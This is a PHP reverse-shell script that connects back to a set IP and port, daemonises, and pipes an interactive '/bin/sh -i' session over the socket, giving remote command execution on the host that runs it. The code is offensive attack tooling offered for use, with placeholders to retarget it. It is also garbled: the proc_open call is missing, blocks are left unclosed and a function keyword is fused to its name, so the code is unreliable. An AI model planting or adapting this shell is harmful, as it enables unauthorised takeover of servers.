<?php set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.162.138'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork();
if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1;
} else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); }
$descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); }
// Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) functionprintit ($string) { if (!$daemon) { print"$string\n"; } }